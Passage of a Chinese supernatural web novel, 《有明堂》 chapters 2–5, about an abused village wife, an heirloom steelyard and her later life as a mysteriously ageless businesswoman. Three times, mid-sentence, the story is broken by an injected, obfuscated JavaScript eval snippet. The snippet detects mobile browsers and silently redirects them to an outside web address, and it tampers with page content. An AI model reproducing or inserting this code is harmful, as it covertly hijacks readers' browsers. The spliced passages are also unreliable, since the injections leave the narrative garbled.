《有明堂》 2. 梨花香 老婆子躺在木板床上,身下铺了一层干稻草,狰狞的草叶子快要把她淹没。她伸出干枯的手,对站在床前的孙媳妇说:“梨花,你看我病了这几天,手都捏不起了。” 梨花抬手握了一下,挤出一丝笑:“奶奶,就是开春受凉了,我看你今天好多了。”老婆子扭着脖颈,似在听院子里的动静:“林生回来没有?叫他莫再跟着知青去摸鱼,这几天潭子水凉。”梨花摇摇头,替奶奶曳了曳被角,不出声。 老婆子说了几句话就累了,又朦胧睡去。梨花走到窗前,合上透了一会儿气的窗,把正在开花的老梨树关在窗外,轻轻走了出去。 刚走到堂屋门口,丈夫赵林生提着个竹篓子回来了:“奶奶睡了吗?你去捡点柴烧灶。”梨花低着头,侧身让丈夫进门,然后走到柴房,从一堆散落的树枝子后面拉出一个背篼来,往青杠林走去。 她是赵林生的第二任妻子,赵家曾经是龙洞村还算殷实的人家,赵林生父母在他少年时因石矿坍塌双双身亡,被奶奶拉拔长大。他头婚第二年,儿子刚出生就死了,老婆也跑了。赵奶奶跟村里人诉苦,说那是个疯女人。赵家提亲的时候,梨花刚过18岁。男人虽然大梨花几岁,但身强体壮,种地挣工分是一把好手,也不爱说话,嫁过来她就是当家的人了。 赵林生平时是个老实敦厚的人,起初梨花也是想好好过日子的,但新婚不到一个月,她就知道他上一个老婆为什么要跑了——他时常躁狂,打人,把人往死了打,他才是那个疯子。 “砰!”梨花单薄的身体不受控地被推到碗柜,原本就不稳的柜子带着碗盘子哗啦啦脆响。她背后被撞得生疼,额角也热得发烫,一股鲜血从伤口流出来,这是赵林生挥着锅铲子砸破的。 比身体疼痛更让人恐惧的,是那一瞬间赵林生扭曲的脸和耳旁的怒吼。那种没有来由的愤怒和癫狂,直到他体力耗尽才停止。 她甚至觉得自己会被他打死。 赵奶奶则坐在桌前吃着饭,仿佛什么事都没发生过。 这是一年前她第一次挨打,那时她还不知道,这仅仅是开始。 - 梨花走到青杠林,上午春雨刚停,林间许多菌子冒了出来,带着泥土和菌类混合的香气。梨花认得能吃的菌子,就先把柴堆在一边,扒开枯腐的树叶捡了起来。晌午日头好,正好可以把菌子先晒着。不一会儿,她就捡了半背篼。 她怀里抱着一捆柴,背着菌子走出林子,看到不远处走来一群年轻人,嘻嘻哈哈正在打闹。 这是来支援农村建设的知青们。走在前面的是一个戴着眼镜的男子,农村三年锻炼,并没有让他沾染土腥味。他皮肤白,衣服总是很干净,说话声音也很好听。梨花也说不出来什么词,就觉得城里人确实洋气。 “梨花嫂子,你捡柴呢?哟,这么多菌子!”孙栖年龄比梨花还大了几岁,但依然跟着村里人管梨花叫嫂子。 男男女女们围了上来,女知青说:“我来龙洞村这么久,还不敢随便捡菌子呢。嫂子,这些都是能吃的吗?” 梨花红着脸,“嗯”了一声。大家叽叽喳喳说着话,梨花麻利地捡出了几朵样子不同的菌子,递给孙栖:“林子里还有很多,你们比着这些捡就可以了。” 孙栖惊喜地接过去,说了谢谢,又想起点什么:“对了,嫂子,扫盲班快要结业了,你也好久没来了,我给你留了几本教材,你空了就来取。” 梨花应了一声,背起背篼往家走。她要再不赶快走,就会被大家发现她红透了的脸。 走出一小会儿,她转身往回看,那群人依然结伴笑闹,渐渐消失在山腰,太阳挂在头顶上,一阵风吹过,土路边如雪的梨花迎风簌簌,让人觉得他们就是那画里的人。 再次靠近围着土墙竹篱笆的赵家小院,梨花心底深处重重叹了一口气,抬脚踏入深不见底的渊潭。 - 农历三月十五日那天,赵家正在吃晚饭。 山里人家一般就吃两顿饭,天还没亮就烧火做饭,吃完下地干活,下午四五点左右才吃第二顿。晚上没有电照明,点煤油灯费钱,基本家家户户都在太阳落山后就早早睡去。 赵林生说起公社让扫盲班的人去办脱盲证,抱怨了两句。这个时候全国都在扫盲,没上够三年半学的人,算半文盲,都得去扫盲班学习。每天晚上在村小坐两个小时,课程也不复杂,学会自己的名字和一些常用字的写法,还有基础的加减法。 梨花小时候就跟着父亲学识字,但终究是没上过学,所以也跟着赵林生一起上课。因为面上手上总是有伤,开始还能说磕了碰了,后来实在遮不住了,赵林生就不让她去了。 这天却是赵林生那夭折孩子的生辰。龙洞村的人比较忌讳子嗣早夭这种事,通常会在死去孩子生日那天,给他过个“寿”,寄望幼小的灵魂早日投胎,不再留恋以前的家庭。 赵林生把梨花支了出去,让她去村小领证。他和赵奶奶有很多事都躲着梨花,经常正在说什么,看到梨花就不说了。 梨花乐得出门,临走时想了一下,偷偷去装干货的土罐子里抓了两大把晒干的菌子,裹在一块蓝布包袱皮里。 初春的天依然黑得早,赵林生是舍不得让她打油灯出门的。她加快脚步,趁还有青色天光往山头走去。 龙洞村因山脚一个巨型的“龙洞”而得名,老几辈都说这个横穿山体的大洞是被巨龙贯穿——“这龙洞由来可是上了县志的,宋朝就记载了。”龙洞村的人们以有这个龙洞为荣,除了古老传说的谈资,里面冬暖夏凉,虫兽皆无,是村里孩子们的玩耍好去处。 走了一刻钟山路,山头的村小出现在眼前。这是村里难得的瓦房,有着青砖外墙和玻璃窗户。老师宿舍和生产队办公都在这里。本期扫盲班已经结业,生产队走得早,就剩了孙栖一个人。 此时孙栖的宿舍里透出隐隐暗黄色灯光,梨花紧紧抱住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079593|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了怀里的包袱,轻轻敲了敲门。 “是梨花呀!快进来。”孙栖举着煤油灯,邀请她进屋。 梨花埋头走进去,连四处打量的勇气都没有:“栖哥,他,我男人让我来取脱盲证……” “你再不来,我就要给你送过去了。我明天就要就走了。”孙栖拿出两张证纸,上面的名字已经填写好了,字迹清隽骨正,带着一股仙气。 梨花把包袱放到桌上:“……我晒的干菌子,你带回家里吃。” 孙栖从抽屉里拿出翻出一个崭新的胶皮本:“这个本子,是我从市里专门买给你的。” “梨花,我前两天赶集遇到你堂哥了,他在集上打听你爷爷给你的嫁妆。”他伸手把梨花揽在怀里,“他们搬回了你家老宅子,我看在打你的主意了。” 他轻抚过她额角的旧伤,明明早已愈合成疤,梨花却觉得一阵酥麻,被他手指碰过的地方,痒得似要长出新肉来。 她和孙栖三年前相识在陈家山,那时他被安排在陈家生活,两人陷入热恋。她爱慕孙栖的学识,沉溺在他的温柔关照中,可他是城里人,他们之间隔着无法逾越的鸿沟。没想到她嫁到赵家后,孙栖又找机会被借调到村里来,当上了扫盲班的老师。 人活在世上,很苦很痛,若不是有孙栖的宽慰陪伴,她该怎么走下去? 可是这期扫盲班结束了,孙栖要回陈家山了。 她靠在孙栖的肩头,流出泪来。 孙栖熄灭油灯,小屋陷入长久的黑暗,只有花玻璃透出一层凉凉的月光。 - “梨花,你跟我走吧!”孙栖不舍地看着她盘起辫子,整理头发,就像曾经在陈家的每一个早晨,女孩子在对面小楼窗前梳洗的画面:“这话我说了无数次了,次次真心。明天我要回公社了,以后再过来就难了。” “从法律上,你没有到结婚年龄,”他说:“赵林生上一个老婆,只是跑了,还没有跟他离婚,你们的婚姻是无效的。我听说那个女人在县里当保姆呢,还有人看到她回来过。” “你爷爷给你的宝贝你得带走。我先把你送到秦北县安顿好。等过段时间我拿到返城证了,就带你回南方结婚。外面的世界很大,林州是大城市,你可以过上新的人生,读大学、找个体面的工作……” “我明天早上六点半,在龙洞口靠公路那头等你,记得,要来啊。” 梨花心中泛起苦笑。她答应过爷爷,要留在这里,守好那样东西,孙栖注定是要失望了。 她怀着心事,怎么和孙栖告别,又是怎么离开村小的,都记不住了。等她回过神时,已经在青杠林了。 今晚的月色格外亮,照得山头的崖壁泛着银光。不远处的村落依稀几柱灯火,山间明明静寂得吓人,又似乎充满了各种声响……恍惚间,从林间窜出一道影子,像是披着白毛的野兽,又迅速隐没。她以为自己被明月晃花了眼,忍住心中惧意,连忙往家走去。 3. 收藏家 海泽市知名女企业家陈丽华,不仅是建筑公司老板,还是民间文玩协会的名誉会长。她收藏了众多“老古董”。同好们暗自笑话她是摸不着门道,是个名副其实的“门外汉”,花了不知道多少冤枉钱买了一屋子破烂,这名誉会长的名头,估计也是捐出来的。 陈丽华从不在意这些言论。她最近还遇到了一个知音,是自家小区的保安计九崖。 计九崖是个精神矍铄的小老头,刚到明月山庄当保安。明月山庄作为海泽市富人社区之一,沿月亮湾的山头而建,三十多栋独立别墅散落其中。山后风浪不停歇拍打着礁石崖壁,山前被绝佳风景的海滩半绕。上点年纪的当地人说起明月山庄都带着酸意:那地方原来就是个寸草不生的盐碱滩,用垃圾填满了盖了房子。有钱人就图个“背山面水”的风水噱头而已,天天被大风刮着,海边潮湿,花钱买罪受云云。 按理说高档小区的保安都是年富力强的,计九崖偏瘦,个子不高,头发灰白,脸庞却又黑红,一看年轻时就没少经历奔波日晒。他下巴留着一撮小胡须,左边乱眉被盘乣的三角疤痕截成两簇,实在让人过目难忘。好在一见到人他就满脸迎笑,冲淡了疤痕带来的凶气,倒也有几分可亲。 据说他是被一位老业主推荐到物业的,说是多年的朋友,退休了给他找个事情做。物业公司见他身体硬实,办事也比年轻人多些世故,便留了下来,安排他守A区停车场大门。这份工作没有技术难度,只要保证电动闸在出意外时能人工及时处理就行,是份实打实的闲差,公司也落个支持离退休人员再就业的美名。 - 陈丽华第一次和计九崖说话,是在正月间一个阴雨绵绵的下午。司机从后备箱里搬出她新到手的一尊马俑。东西没有外包装,一匹展蹄欲奔的骏马在司机怀里栩栩如生,色彩艳丽。 一手端着茶缸子,一手撑伞的计九崖正好路过,小眼一咪,忍不住一声喝彩: “好家伙,罗氏三彩!” 陈丽华的收藏经常被人鄙夷,虽然大家碍于她的面子也不直说,但免不了还是有神情古怪的。她看这计九崖的一声叫好,表情倒像是真的欣赏。 “你来说说,哪里好?” “好就好在,它是个假的。”计九崖一边说一边观察陈丽华的脸色,怕这句话把人得罪了。 没想到陈丽华笑得更开心了:“假的东西还有好的?” “别的赝品,我会劝陈总把它摔了。这个可是秦北罗氏出品。官方仿品大师的作品,大部分都被用来作外交礼物了,市面上可没有几个了。”计九崖说,“我也是在……大概1983年见过一次。” 他伸手想把马俑接过来,又发现两手不空,便示意司机将马俑倒过来,找到马鞍鞍檐下一个不起眼的一个方形纹路:“这不是烧制的自然痕迹,这是罗氏的‘罗’字上面那个‘四’。” 这老保安说的话,让她心怀大慰。再聊了几句,发现对方谈吐不凡,便提出了邀请:“计师傅以后要是有时间,不妨来我家喝茶,我还有些别的藏品。” 两人就此结识了。 - 计九崖看着老练圆滑,却也不会刻意讨好别人。说话办事总是让人觉得八分妥帖,两分距离。平时他就在门岗亭里刷手机,天气好的时候坐在门口端着茶缸子晒太阳。每个业主的车他都认识,遇到出门的,他还会主动打招呼问好,闲聊上两句。 这一天,陈丽华邀他下班后来家里看收藏。她的别墅地下一层专门用来做了个茶室,靠三面墙的博古架上,摆满了大大小小的藏品。 “海泽这雨三天两头就下,今年雨水特别多啊。”陈丽华擦拭着灯上的锈迹,潮湿的天气对藏品的影响很大,这个清末黄铜煤油灯已经覆上了一层水汽。 计九崖咧嘴一笑:“海边风大,过几天就不返潮了。陈总,我看你这不像是在搞收藏啊?” “为什么这么说?” “你这一屋子的藏品,看起来都是差不多年头的,百年以内。说收藏也不算收藏,勉强算个怀旧。像你这种身份的老板搞收藏,要么是喜好风雅,弄些金石字画,要么是等着升值,存着珠宝玉器。这些玩意也不是北方城市的旧物,基本是秦川一带常见的。陈总是秦川人?” 陈丽华此人,早就被媒体报道过,她的创业经历,也算是海泽成功人士中的一则传奇。 她早年前在建筑工地做饭,上世纪90年代,海泽经济开发正盛,到处都在兴土木盖大楼。一个偶然机会下,她看了一眼施工图纸,那一般是工头以上级别的人才能弄明白的,她给当时正摸不着头脑的工友指了几下,引起了来看现场的一个老板的注意,提拔她当了监理。 陈丽华那时连字都不识,也许是在这个方面确实有天赋,就此入了门。几年下来,她有了自己的施工队,承包一些小项目,渐渐做大。 1998年,她开了个建筑公司。和当时赏识她的地产老板合作,一个拿地皮,一个建房子。从此一马平川,从做饭大姐,成为海泽市知名集团创始人。 她一直保持着独身状态,身边也没有亲友子嗣能继承家业,年轻时还有人议论八卦,现在年逾古稀,虽已退休,但依然是海泽女性创业的典范。 大家都默认她是海泽人,至少和相隔两千多公里的秦川没有任何关系。 因此当计九崖指出她是秦川人的时候,她居然没能掩盖住诧异的表情。她端起做工考究的茶杯,摩挲了几圈杯沿,叹了一口气:“计老弟,你是个见过世面的人。我现在有件事,想托你帮个忙。按理说我们认识也不久,我也不该开这个口,但是这么多年了,我实在需要你的指点。” 计九崖摆摆手:“陈总也不用这么客气,我其他说不上,年轻时图着身手好,走南闯北也遇到过不少离奇事。你是遇到了什么事?” 此时正值傍晚,太阳西下,阳光斜斜地透过外面的树影,从天井斜面玻璃射下来,风吹树动,她坐在单人沙发上,脸上神色时明时暗,思忖良久,终是下定了决心。 “计老弟,留给我的时间不多,这事说来话长……陈丽华并不是我的本名,我叫陈梨花…… - 陈梨花是秦川市秦北县陈家山人。清末战乱时,曾祖父陈三金从外省逃到秦川山脉一带。陈家原本是江中一带负有盛名的制秤技师,家境殷实,城破时就成了第一波被洗劫的目标。陈三金极有见识,连夜携妻儿族人逃难,家族大大小小就有2 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079594|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 0几口人。逃荒途中还遇到一些流民同路,在陈三金的带领下,人们开荒垦地,渐渐村子有了规模,近百户村民中,陈姓占了多半,这里便被秤为陈家山。 陈三金此人,不但有祖上传下来的吃饭的手艺,为人也像秤杆一样,公正精细,在陈家山颇具声望。村子中他家也是最早富起来的。 战争结束后,他们也不再打算回到江中,安心在山里种地。刚过了几年好日子,没想到“破四旧”来了,陈三金被定性为地主,一群年轻人冲进陈家山,抄家毁屋,将八十多岁的老爷子戴上高帽游街批斗。 陈三金去世的时候,他们甚至没能见到他最后一面,是爷爷和父亲拿走家里最后一张草席子,去给陈三金收了尸。他们是不敢给他立碑的,那些人激动起来,也不是干不出来掘人坟墓的事。从陈梨花记事起,陈家人都是神情萎靡,畏畏缩缩的。几个堂爷爷和叔伯早早分家出去,与老爷子划清了界限。 陈三金没了,陈家的家产也早就被人清算夺走。陈梨花18岁那年,爷爷瞧着出落得跟花骨朵一般的大孙女,想着这堪比战乱的世道前景未明,敲了几个晚上的旱烟管子,最后决定,给她找一家不嫌弃家庭成分的夫家,远远嫁出去。 出嫁前,爷爷把她叫到堂屋后的小房间里,里面除了个破立柜,什么家什都没了。他把四个立柜腿拔了下来,柜腿竟然是四个木盒子。打开来,里面是三节可以拼接的秤杆,还有一块不到她拳头大小的秤砣。 “梨花啊,你祖爷当年为了保住陈家人,把攒下来的家底全部交出去了,你的嫁妆我都给你备不上。这杆秤,你要藏好了,这是你祖爷亲手做的最后一杆秤。” 爷爷用手摩挲着那块秤砣,回忆起自己小时候把它拿在手里玩耍的画面,叹了一口气:“你祖爷说,定了这杆秤的人当年说一定会回来取,结果等了几十年都没等到。你把它们带走吧。你记住,嫁过去以后,就不要想着娘家了。好生过日子,守好这杆秤,等它的主人回来……” 这是陈梨花第一次听爷爷讲祖辈的事,尽管他说的也不多,但她听话地点了点头:“爷爷,您放心……就算我没等到,也会找到可信的人托付。” “老话说人心如秤,陈家历代做着制秤这良心活路,如今却连命都保不住。我几个兄弟都看不上制秤的手艺活儿,也守不住它……” 第二天,在霏霏小雨中,陈梨花给爷爷磕了个头,被父亲送出到了离陈家山百里地的龙洞村,嫁到了赵林生家。 这是另一段噩梦的开始。男人看着老实忠厚,却动不动就发脾气打人。结婚半年后的一个月圆之夜,男人又发了疯,骂她是个不安分的地主分子,身家只值一个铁疙瘩,只有他不嫌弃娶了她云云。气急之下,梨花顶了几句嘴,男人挥起秤砣就朝她脑袋砸了过去…… 醒过来的陈梨花,发现屋子里安静得吓人。赵林生躺在地上一动不动,全身呈诡异的冰蓝色,已经没了气息。等她跑到奶奶房间,赵老婆子也是同样的脸色。家里的活物都死了,给生产队养的猪,圈起来的小鸡仔……全部倒地。慌乱中的她,捡起秤杆和秤砣,疯狂向山下跑去。 之后她跑到秦北县里,又辗转来到了海泽,煎熬着到了现在…… 4. 一号公馆 “等等,陈总,你是说,赵家当时除了你以外,生灵全无?”计九崖打断她的讲述。 “别说家禽了,连院子里的百年老梨树都一息之间枯死。我当时太慌了,来不及仔细看,只拿走了爷爷给我的嫁妆。” “这些事,和你刚才说的活不久了有什么关系?”计九崖问。 “计老弟,这些事之后,发生的怪事太多了……” - 陈梨花逃出来的时候是夜里,她头上带着伤,慌不择路之际,掉到龙潭子的水里。她浑身湿透,爬上岸走向龙洞村的“龙洞”。她得从另一端走出去,出去就是公路了。 踏入龙洞的之际,陈梨花又遇到了异象。洞内的岩石发出细碎的蓝色光亮,不计其数的岩粒随着她的走动,次第亮了起来。这场景吓得她跌了一跤,但也因此勉强看得清路,跑了大概三里地,才到了出口。 出来的时候,她头上的伤口已经不流血了,结了血痂。深夜的大山中,一个女人衣着单薄,连鞋子都跑丢了,但她并不觉得艰难,光着脚跑了一整晚,仿佛跑得越快,那些艰难过往就追不上来。 天亮时,她终于跑到了乡里。她怕有人发现赵林生一家全死了,不敢久留,正好这时候遇到一个认识的知青,便扯了个慌,坐上载着知青的拖拉机,又到了秦北县。 那时她才发现,秤砣没了,不知道半路掉到哪里去了。 知青把她安置在秦北县一个罗姓人家当保姆,也不敢出门,怕有人发现她的踪迹。干活的时候,她确实十分用心,毕竟和在挨打的恐惧中相比,罗家这两层小楼里的日子简直太好了。 也就是在这段时间,她发现自己身体和以往有所不同。她平常干活儿的时候,会受一些小伤,比如切到手之类。但是伤口恢复得极快,几乎肉眼看着愈合。 她极少时候觉得饿,要不是怕被人看出来,她几乎可以不吃饭。 她本来身上还有些旧伤,早年操劳,皮肤皴裂,关节突出。现在她的身体宛如重新来过一次,恢复到最佳状态,力气也比成年男子大一些。 罗氏夫妇在当地的文化馆工作,他们只知道她被丈夫殴打,同情梨花的遭遇,对外就说是乡下亲戚来家借住。陈梨花十分感激他们,家里也没有过多的杂事,每天做好三顿饭就可以了。 除了感激,她对罗家还有一种天然的亲近感。罗老师本身是个陶瓷大师,他的作品在县文化馆有一个专门展厅,家里也有不少。看见那些作品第一眼时,就有一种令人愉悦的气息召唤着她靠近。罗老师看她经常在工作间停留,问她是不是对制陶感兴趣。她慌忙摇头,哪敢说出实情。 在罗家生活了五年,就当快要忘记龙洞村,忘记赵家时,她遇到了认识她的人。当时罗老师在医院输液,她去送饭,在门口看到了赵家的一个远亲迎面走过,幸好他没看见。但陈梨花吓坏了,她觉得在秦北县不是长久之计,还是要走得更远才行。 那个年代,出行住店都是要介绍信的。她拿出知青给她写的信,对罗老师说,熟人帮她在省城找了个新工作。罗氏夫妇也没有强留,罗老师帮她开了一封介绍信,给她买了火车票,给了20元钱,还塞了四个煮熟的鸡蛋让她车上吃。 绿皮火车开动的那一刻,陈梨花长长松了口气。 - 之后陈梨花到处打零工,卖过菜、刷过碗,只要给她住的地方就行。趁着全国进行人口普查统计,统一办理身份证和户口,她说自己是孤儿,并改名叫了陈丽华。1995年,她跟着当时所在的建筑队到了海泽市干活。 但令人疑惑的是,离开罗家后,她的食欲慢慢恢复了正常,身体也十分健康,从没有过感冒或者头疼脑热。后来就像新闻报道中那样,她有了自己的施工队,开了建筑公司,成了如今大家所知道的陈丽华女士。原来的陈梨花,已经被她永远留在了龙洞村,留在那个不堪的赵家了。 经济条件好起来后,她经常受邀去参加一些艺术品、珠宝的展览和拍卖。她对这些没有一丝兴趣。直到有一次,她在一个合作方的家中看到一张八仙桌,那种久违的亲近感又回来了,她不由地靠近,伸手拂过桌面。 “这是我家的老物件了,看起来不起眼,其实是秦川老家有名的木匠做的。这些年好多次都想扔了,被家母拦了下来。”主人介绍说:“您看这望板上雕的灵芝纹,感觉传统手艺就是比现在的东西多了份灵气。” 回家后,陈丽华发现,她又不饿了,这次持续了十天。她隐隐觉得自己的状态和那些匠人做的东西有关。具体是什么,却完全说不上来。于是她开始搜集一些近代民间匠人做的老物件,特别是秦川一带出产的,大至雕花满纹床,小至柳编篮……为了扩大收藏范围,她还给民间文玩协会捐了钱,挂上个名誉会长的名头。 年纪大了以后,陈丽华极少能找到带着“香”气的玩意了。她越来越饿,虽然外表看不出任何异样,但她自己知道,身体内仿佛有一个豁口,已经快要被激发撕裂。如果再找不到那个重要的东西,她可能就要活生生饿死了。 - “咱们认识时,我拿到的罗氏三彩,就是我托人去海外找了当时收留我的罗老师的作品。他们两口子已经不在了。那天之后,我有半个月没吃饭。” “计老弟,你觉得我今年多大?”她问。 计九崖仔细端详,她满头黑发,面容饱满,眼角的细微皱纹和眼神沾染着些许岁月的痕迹:“您看起来不过五十多岁,但按陈总的故事来算,你是建国后出生的,50年代?” “我今年八十岁了。登记户口的时候,我不仅改了名字,也改了年龄。因为我发现自己面容二十年不变,开始还是高兴的,现在越来越觉得后怕。” “我不知道下一次再闻到那香气是什么时候。这些年下来,我能确定,这些变化,就是从逃出龙洞村那晚开始的,或者,就是因为那杆秤。” 她站起身来,打开柜里的暗阁,取出三截包着铜片的秤杆,“啪嗒”几下,就拼成了一个完整的秤杆,丝毫看不出来有拼接的痕迹。 “你说,我是不是在六十年前的那晚就死了?我变成了一个妖怪,或者鬼魂?”她自己都有点不相信这话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079595|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又摇摇头:“可是如果不是这样,我也找不到别的解释。我去过最好的医院检查,检查报告看不出任何问题。” 陈丽华的讲述就此告一段落。计九崖消化了一会儿故事,思忖道:“这个世间本来就有很多光怪陆离的事情没法解释。我早年四处漂泊时,曾听一个会炼器的道长说过,杰出的工匠出品自带匠心,若有机缘,器物也会有灵气。你的意思,是要回龙洞村一趟,或者去找那个遗落的秤砣?” “我对人有承诺,保护好那杆秤,但是我没有做到。这或许就是对我的惩罚,找不到秤砣,我就死不了。”陈丽华直言:“说实话,因为这个承诺,我日日夜夜备受煎熬。我即便背着赵家的两条人命,也多次尝试过回去。借投资考察的名头,或者私下出行。但是只要我走到秦川山脉一带,就有着巨大的恐惧,越靠近龙洞,压迫感越大。” “所以我一直在找一个能相信我的故事、靠得住的人。计老弟,我也知道这个事有点强人所难。但那秤砣,一方面是和我现在的状况有关;另一方面,如果我真的持续快速衰老下去,我怕终有一日没了自理能力,陈家的宝物就在我的手上没了下落。找回那块秤砣,是我此生唯一的心愿了,我愿意付出一切代价来办这件事。” “如果你不信,那这事也就只是我讲给你的一个故事。你即便说出去,也不会有人相信……” 计九崖摆摆手:“秦川本就有很多传说与禁忌。你看古代的那些神仙妖怪的故事,很多都出自古代的秦川。可我答应了别人,要留在海泽等人,暂时走不了。” 陈丽华脸上露出失望之色,计九崖继续说:“不过,能帮到你的人,我倒真知道有一个。” “真的吗?可信吗?能帮我引荐一下吗?”陈丽华激动地问。 “就是我要等的那个人,她住在一号公馆,你听说过吗?”计九崖神色郑重起来。 “一号公馆,不是唐家的吗?”陈丽华在明月山庄已经住了二十多年,当然知道被命名为“一号公馆”的别墅。 这个小区不是谁都有实力住进来的,她自己修那么多楼盘,房产甚多,最终还是选在这里定居。 明月山庄的一房难求是有道理的。 当年的大老板唐青山买下来这块谁都不看好的礁石山及盐碱滩,花了大功夫造林堆沙,硬生生造出一个人工沙滩来,起名为月亮湾。先有月亮湾,后有明月山庄。他自留的一号公馆,沿着上山主干道的尽头而建,位置极为隐秘。唐家不知为何一直没有入住,也没用来做别的用途。 “一号公馆真正的主人,另有其人。你这件事,办起来不复杂,但是要把前因后果搞清楚,还要去秦川走一趟,这恐怕只有请聂小姐来了。” “这位聂小姐是什么来历?”陈丽华从没听说过这号人物,十分好奇:“我能跟她见一面吗?” 计九崖早就预料到陈丽华会有很多疑问。他只是笑了笑,说:“我不确定聂小姐会不会同意帮你。只是我恰好知道,聂小姐快要回来了,只有她能帮你。” “因为,她来自明堂。她叫聂明月。” 5. 告别式 “朋友们晚上好,我们现在所在的位置,是明月山庄的后山。”直播画面黑糊糊一片,突然一道灯光从下面打上来,出现一张曝光过度的大脸。 “我已经爬到山顶了,山上太黑了,不过没关系,我们再次打开无人机的夜视模式。”戴着黑框眼镜,一头乱发的男人说。画面切换到无人机镜头,观众进入黑白模式,俯瞰山间散落的别墅群,整个小区正在沉睡之中。 【这是啥节目?】直播间只有10多个人,有新来的打字问。 “欢迎新来的家人。我是探境人赶趟哥,”画外音格外殷切,“你给哥点个关注呗。” “今天直播主题是:等待荧光海。”他再次介绍了一遍。 “很多人都听说过了吧,海泽市从今年春天起,出现了多处神秘的荧光海。这种现象非常奇妙,全世界也没有几个。荧光海是可遇不可求的。有网友说坐飞机看到过月亮湾有荧光海滩,我们今天就一起来探探。” “这里都是石崖,没有近海路径,不慌,赶趟儿,我找了个制高点,用无人机来观察海面。” 画面转向黑黝海面,山崖之上的风声、波浪拍打礁石的声阵阵传来,中间还夹杂着赶趟哥挨冻的吸溜鼻涕声,有观众不耐烦了。 【好无聊,走了。】 【更睡不着了,散了吧散了吧。】 观看人数降至个位数。 赶趟哥见人少了,调动无人机扭了个头,画面又转到了山庄全景。 “感谢家人们的陪伴,那我们就边等边看看山庄夜景吧!” “啧啧,每家都有个大院子,还有花园。这在当时可是最贵的房子了,听说住在里面的人非富即贵。”他操纵着机器缓慢下行。 “不能拍别人家啊,哥是正经主播。咱们远远看看离我们最近的一家吧。”三层洋房独自立在山腰,镜头越来越近。院外的栅栏上爬满了藤蔓,院内杂草丛生,几处外墙墙砖已经剥落。 【看起来是荒废的,这么好的房子居然没人住,有钱人的世界我不懂!】 【幸好隔着屏幕,太吓人了。】 直播间突然新来了十多个人,赶趟哥见流量来了,连忙打招呼。 “欢迎新来的家人!我们正在……正在探访无人居住的神秘豪宅!正好赶趟!挥挥小手点一下,给哥壮个胆吧!”看来还是这种冒险题材更受欢迎啊。他默默记下来,绕着房顶飞了一圈。 【二楼!】有人打字,赶趟哥忙着操纵机器,并没有留意到。 【哥,你看二楼左边有阳台的窗户!那里有光!】大家着急提醒,排队刷屏。 赶趟哥终于反应过来,画面中,有星星点点的光线透过落地窗窗帘缝隙传出来。 “荒废房子里闪现不明光线,大家跟哥一起来揭秘。” 【放大!放大!】 【@小羊羊快来保护我!我好慌!】 有人给赶趟哥送小道具和点赞,人数飙升过百。 “感谢大家的礼物!这泼天的流量,哥一定稳稳接住。”无人机飞进院内,直接朝二楼飞去。 【有人!那里有个人!】 一人穿着宽大袍子站在窗口前,正抬头看向镜头。赶趟哥吓得手一抖,又近了一步,无人机相距不到五米,和那人对个正着。对方一脸好奇盯着屏幕,黑白画质下她满头白发,眼睛闪着诡异红光,直接与他四目相对。 【有*啊!是个女*!】 【gui!阿飘!】 【这是摆拍吧!无聊!】 【夜视模式啊,所以那真是个白色长发的女人!】 【为了热度,主播也是***了】 画面一黑,弹出主播已下播的提示。 【你的直播因违反直播行为规范已被中断,禁播10分钟】 远处山头上的赶趟哥坐在地上,看着手机上的系统提示,深夜的凉意让他忍不住打着寒战。 - 海泽市是北方的一座沿海城市,从小渔村到现代化都市,拢共才120多年。改革开放后,凭借港口贸易和重型工业实力,飞速发展。如今城中商业中心林立,自然的山海景观、清爽宜人的天气,也吸引了游客的关注,成为著名的旅游城市。本地人经常自嘲,虽名为海泽,但年轻的城市极度缺乏历史沉淀和人文积累,其实是文化沙漠。 在老城区的繁华商圈,有个仅有三殿的小型寺庙,叫镇海寺,是渔村百年前的海神庙。相传当年渔民出海打鱼之前,都会到镇海寺来祭祀祈福。寺内有一镇海神兽狻猊的雕像立于其中,人们相信,只要得到狻猊的祝福,即会吉祥幸福。这也算是海泽现存最久的古迹了。它也是如今市民们求神许愿、寄托希望的唯一去处。巴掌大的地方,香火格外兴盛。 人一多,就有人摆摊卖东西,渐渐发展成野生跳蚤市场。海泽市为了规范市场,沿着镇海寺又修建了一排仿古建筑,楼台亭柱俱全,红墙飞檐醒目。官方起名为古玩市场,有没有真正的古董,大家心知肚明。因此又被当地人称为“小明宫”,戏谑得明目张胆。 